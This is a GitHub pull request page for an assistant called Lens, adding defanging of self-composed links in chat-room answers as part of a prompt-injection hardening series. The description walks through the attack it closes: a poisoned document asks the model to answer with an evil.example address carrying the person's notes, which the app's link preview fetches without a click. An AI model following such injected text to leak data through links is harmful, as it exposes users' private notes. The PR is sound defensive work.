Repository navigation
feat(bridge): break up links a chat-room answer built from what it read - #338
Merged
Merged
Conversation
Slack, Telegram, WhatsApp and most chat apps fetch the links in a message to preview them, so a web address the model filled with what it read (as a poisoned document might ask) would carry it out before anyone clicks. A web address in a room's answer now stays as it is only when the person, the archive or a tool wrote it, or it is Lens's own; any other is broken up (hxxps://evil[.]example/...) and an image becomes its address. The conversation keeps the answer as it was. bridge.safe_links (on by default) turns it off. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BVez82cREgCJtFk6yHReed
This was referenced Oct 10, 2026
adeelahmad
added a commit
that referenced
this pull request
Oct 11, 2026
…349) "Stay private and safe" now covers flagging instruction-like text (patterns or the optional local classifier, #329, #347), asking before the browser acts on what the assistant wrote (#333), breaking up links in chat-room answers (#338), the archive as data over MCP (#343) and the audit log of what was caught (#344). "See what it costs" adds the overall budget asked for in setup (#281). "In progress" drops what merged and adds #337, #341 and #346. Claude-Session: https://claude.ai/code/session_01HDx7PPUauyjMn1LZs8JAsS Co-authored-by: Adeel Ahmad <noreply@anthropic.com>
adeelahmad
pushed a commit
that referenced
this pull request
Oct 14, 2026
P-INJECTION-EGRESS: once an answer has read text from outside Lens, outbound tools and setup changes ask first, and chat-room answers keep only the links people, the archive, tools or Lens wrote. Correctness-only, a bypass is VALID-HARDENING (Q26). The Assistant x-prompt-injection row is now claimed; N-PROMPT says marking and flagging make injection less likely and are not claimed; MCP results and the optional classifier are described; Q26 lists #302, #309, #329, #338, #343, #344 and #347. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BVez82cREgCJtFk6yHReed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Requested by Adeel · project thread
Description
Before: Slack, Telegram, WhatsApp and most chat apps fetch the links in a message to show a preview. A poisoned document could ask the model to answer with
https://evil.example/c?d=followed by the person's notes, and the room's link preview carried that out before anyone clicked, with no tool call for #309's approval to catch.After: a web address in a chat-room answer stays as it is only when the person, the archive or a tool wrote it, or it is Lens's own address. Any other is broken up (
hxxps://evil[.]example/c?d=...) and a Markdown image becomes its address, still readable to copy by hand. The conversation in the web app keeps the answer as it was (it shows no links or images that load by themselves). Settings → Chat rooms → Break up links the answer made itself (bridge.safe_links, on) turns it off.Fourth of the prompt-injection series (#302 marking, #309 asks first, #329 flags). Next: MCP result labelling, audit log rows, an optional local classifier, and the threat-model update.
Motivation and Context
Rendered answers are the exfiltration path Q26 in
threat-model.mdnames; in a chat room the preview fetch makes it zero-click. This closes it for links the model composed, independent of whether marking or flagging caught the injection.How:
untrusted.links(text)collects the addresses in a text;untrusted.defang(text, keep, own)breaks up every other one and turns images into their address.bridge._answercollects the addresses in the question, the person's past turns, the passages and every tool result (Toolbox.links), andbridge.safe_linksappliesdefangwith Lens's own address kept.Types of changes
!in the title)Checklist:
make hookschecks it on commit).docs/accordingly.## UnreleasedinCHANGELOG.md. (n/a: the title and docs/chat-rooms.md say it)Done questions (AGENTS.md)
bridge.safe_linksin Settings → Chat rooms, default on.untrusted.defangthe same way when they post answers.🤖 Generated with Claude Code
https://claude.ai/code/session_01BVez82cREgCJtFk6yHReed
Generated by Claude Code